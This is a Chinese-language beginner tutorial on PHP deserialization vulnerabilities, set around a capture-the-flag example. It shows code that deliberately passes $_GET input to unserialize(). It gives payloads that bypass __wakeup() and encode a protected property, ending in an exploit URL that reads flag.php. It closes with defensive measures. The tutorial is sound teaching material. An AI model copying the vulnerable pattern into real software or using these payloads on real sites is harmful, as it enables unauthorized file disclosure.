php反序列化漏洞入门
字数 1211 2025-08-15 21:32:54
PHP反序列化漏洞入门教学文档
一、序列化与反序列化基础
1. 序列化概念
序列化是将变量转换为可保存或传输的字符串的过程。在PHP中,使用serialize()方法实现将类进行序列化。
2. 反序列化概念
反序列化是将序列化后的字符串还原为原始对象的过程,使用unserialize()函数实现。
3. 基本示例
class LessSafe {
public $name = 'LessSafe';
public $age = 2;
function getname() {
echo $this->name;
}
}
$s = new LessSafe();
$s_serialize = serialize($s);
print_r($s_serialize);
序列化结果:
O:8:"LessSafe":2:{s:4:"name";s:8:"LessSafe";s:3:"age";i:2;}
格式解析:
O:8:"LessSafe":对象(Object),类名长度8,类名为"LessSafe":2::对象有2个属性{s:4:"name";s:8:"LessSafe";s:3:"age";i:2;}:属性详情s:4:"name":字符串类型,长度4,属性名为"name"s:8:"LessSafe":字符串类型,长度8,值为"LessSafe"s:3:"age":字符串类型,长度3,属性名为"age"i:2:整型,值为2
二、魔法函数(Magic Methods)
1. 常用魔法函数
__construct():对象创建时调用__destruct():对象销毁时调用__toString():对象被当作字符串使用时调用__sleep():对象序列化时调用__wakeup():对象反序列化时调用
2. 魔法函数示例
class TestClass {
public $variable = 'This is a string';
public function __construct() {
echo '__construct<br />';
}
public function __destruct() {
echo '__destruct<br />';
}
public function __toString() {
return '__toString<br />';
}
}
$object = new TestClass(); // 触发__construct
echo $object; // 触发__toString
// 脚本结束时触发__destruct
3. __sleep() 示例
class LessSafe {
public $name = 'LessSafe';
function __sleep() {
echo "When using serialize, __sleep() will be called";
}
}
$s = new LessSafe();
serialize($s); // 触发__sleep
4. __wakeup() 示例
class LessSafe {
public $name = 'LessSafe';
function __wakeup() {
echo "When using unserialize, __wakeup() will be called";
}
}
unserialize($_GET['id']); // 触发__wakeup
三、反序列化漏洞原理
1. 漏洞产生条件
- 应用接收用户可控的反序列化数据
- 类中定义了危险的魔法函数(如
__destruct()、__wakeup()等) - 类属性可控,可能影响程序逻辑
2. 典型CTF示例
class LessSafe {
protected $file = 'index.php';
function __destruct() {
if(!empty($this->file)) {
show_source($this->file);
}
}
function __wakeup() {
$this->file = 'index.php';
}
}
if(!isset($_GET['file'])) {
show_source('index.php');
} else {
unserialize($_GET['file']);
}
// flag in flag.php
3. 漏洞利用步骤
(1) 正常Payload尝试
O:8:"LessSafe":1:{s:4:"file";s:8:"flag.php";}
问题:会被__wakeup()重置为index.php
(2) 绕过__wakeup()
PHP反序列化时,如果对象属性个数大于实际个数,会跳过__wakeup()调用:
O:8:"LessSafe":2:{s:4:"file";s:8:"flag.php";}
(3) 绕过protected属性
protected属性在序列化时格式为\00*\00属性名(\00是空字符的二进制表示):
O:8:"LessSafe":2:{S:7:"\00*\00file";s:8:"flag.php";}
S表示序列化二进制表示方法\00*\00file表示protected属性$file
(4) 最终Payload
http://example.com/ctf/index.php?file=O:8:"LessSafe":2:{S:7:"\00*\00file";s:8:"flag.php";}
四、防御措施
- 不要反序列化不可信的用户输入
- 使用
json_encode()和json_decode()替代序列化/反序列化 - 对反序列化操作进行严格的输入验证
- 使用PHP 7的
allowed_classes选项限制可反序列化的类unserialize($data, ['allowed_classes' => ['SafeClass']]);
五、总结
PHP反序列化漏洞的核心在于:
- 理解序列化/反序列化机制
- 掌握魔法函数的触发时机
- 了解属性控制与程序逻辑的关系
- 掌握绕过
__wakeup()和protected属性的技巧
通过控制反序列化过程中的对象属性,可以影响程序执行流程,最终可能导致任意文件读取、代码执行等安全风险。